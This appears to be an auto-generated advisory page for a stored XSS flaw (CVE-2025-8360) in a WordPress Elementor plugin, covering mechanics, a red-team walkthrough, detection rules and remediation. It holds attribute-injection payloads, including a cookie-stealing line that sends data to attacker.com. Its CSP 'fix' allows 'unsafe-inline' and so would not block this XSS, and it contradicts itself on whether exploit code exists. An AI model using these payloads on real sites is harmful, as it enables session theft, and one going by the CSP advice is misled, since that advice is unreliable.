CVE-2025-8360
Executive Summary
CVE-2025-8360 is a Stored Cross-Site Scripting (XSS) vulnerability in the LA-Studio Element Kit for Elementor WordPress plugin, affecting all versions up to and including 1.5.5.1. The flaw resides in insufficient input sanitization and output escaping on user-supplied attributes within several of the plugin's widgets. An authenticated attacker with contributor-level access or higher can inject arbitrary web scripts into pages. When any user (including administrators) visits the compromised page, the injected script executes in the context of the victim's browser, potentially leading to session hijacking, credential theft, or defacement. The CVSS score is 6.4 (Medium), and no public exploit code or patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Base Score: 6.4 (Medium)
- Attack Vector: Network (AV:N) – The vulnerability is exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: Low (PR:L) – Requires contributor-level authentication.
- User Interaction: None (UI:N) – No victim interaction needed beyond visiting the page.
- Scope: Changed (S:C) – The injected script can affect resources beyond the vulnerable component.
- Confidentiality Impact: Low (C:L) – Limited information disclosure possible.
- Integrity Impact: Low (I:L) – Limited modification of content possible.
- Availability Impact: None (A:N) – No direct denial of service.
Threat Level: Medium. While the CVSS score is moderate, the ability for authenticated users to inject persistent scripts that execute for all visitors makes this a significant risk for WordPress sites using the plugin.
Deep Dive & Mechanics
The vulnerability exists in the LA-Studio Element Kit for Elementor plugin, which extends the Elementor page builder with custom widgets. The plugin fails to properly sanitize user-supplied attributes (e.g., class, id, data-* attributes) before rendering them in the HTML output. An attacker with contributor-level access can create or edit a page using one of the vulnerable widgets and inject malicious JavaScript code into an attribute value.
Attack Flow:
- An authenticated attacker (contributor or higher) creates a new page or edits an existing one using the Elementor editor.
- The attacker selects a vulnerable widget (e.g., a heading, button, or image widget) and injects a payload into an attribute field, such as:
" onfocus="alert(1)" autofocus=" - The plugin stores the page content without proper sanitization.
- When any user (including administrators) visits the page, the injected script executes in the browser.
Root Cause: The plugin uses esc_attr() or similar functions inconsistently, or fails to escape output in certain widget attributes. This allows HTML attribute injection, which can be leveraged for XSS.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code pattern is described generically.
Vulnerable Code (Example):
// In a widget's render() method
$class = $settings['widget_class'];
echo '<div class="' . $class . '">';
Here, $class is not sanitized or escaped, allowing injection like " onmouseover="alert(1).
Patched Code (Expected):
$class = sanitize_html_class( $settings['widget_class'] );
echo '<div class="' . esc_attr( $class ) . '">';
Or using wp_kses_post() for rich content.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress instance with LA-Studio Element Kit <= 1.5.5.1 installed and active.
- Contributor-level account or higher.
Steps:
- Log in to WordPress as a contributor.
- Navigate to Pages > Add New.
- Edit with Elementor.
- Add a vulnerable widget (e.g., Heading).
- In the widget settings, locate an attribute field (e.g., CSS Classes or HTML Attributes).
- Inject payload:
" onfocus="alert(document.cookie)" autofocus=" - Publish the page.
- Visit the page as any user – the script executes.
Proof-of-Concept (PoC) Payload:
" onmouseover="fetch('https://attacker.com/steal?cookie='+document.cookie)" autofocus="
Blue Team (Detection & Hardening)
Detection:
- Monitor for pages created/edited by contributors containing suspicious attribute patterns.
- Use Web Application Firewall (WAF) rules to block XSS payloads in POST requests to
wp-admin/admin-ajax.phpor Elementor endpoints.
Hardening:
- Restrict contributor-level access to trusted users only.
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
- Disable the plugin until a patch is released.
Indicators of Compromise (IOCs)
- File Hashes (Plugin Files):
la-studio-element-kit.php(SHA256:UNKNOWN)
- Network Indicators:
- Outbound HTTP requests to attacker-controlled domains from WordPress admin pages.
- Log Entries:
- Suspicious
post_contententries containingonfocus,onmouseover, oronerrorattributes.
- Suspicious
- Database Indicators:
- Rows in
wp_postswithpost_contentcontaining<script>tags or event handlers.
- Rows in
Detection Engineering
YARA Rule
rule CVE_2025_8360_Stored_XSS {
meta:
description = "Detects stored XSS payloads in LA-Studio Element Kit"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-8360"
strings:
$xss1 = /on\w+\s*=\s*["']?[^"']*["']?/ nocase
$xss2 = /<script[^>]*>.*?<\/script>/is
$xss3 = /javascript\s*:/ nocase
condition:
any of ($xss*) and filesize < 10MB
}
Sigma Rule
title: CVE-2025-8360 Stored XSS in LA-Studio Element Kit
id: 8a4b3c2d-1e5f-4a6b-9c7d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS payloads in WordPress pages created with LA-Studio Element Kit
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: wordpress
detection:
selection:
http.method: 'POST'
http.url: '/wp-admin/admin-ajax.php'
http.body|contains:
- 'onfocus='
- 'onmouseover='
- 'onerror='
- '<script>'
condition: selection
falsepositives:
- Legitimate use of event handlers in admin pages
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-8360 Stored XSS Payload in LA-Studio Element Kit"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"onfocus="; http_client_body; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Review and clean any pages created by contributors for malicious content.
- Implement CSP headers to restrict script execution:
Header set Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval';" - Restrict contributor roles to only trusted users.
Long-term Fix:
- Monitor the plugin vendor (La-studio) for a patched version (> 1.5.5.1).
- Apply the update immediately when available.
- Consider replacing the plugin with an alternative if no patch is released.
Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.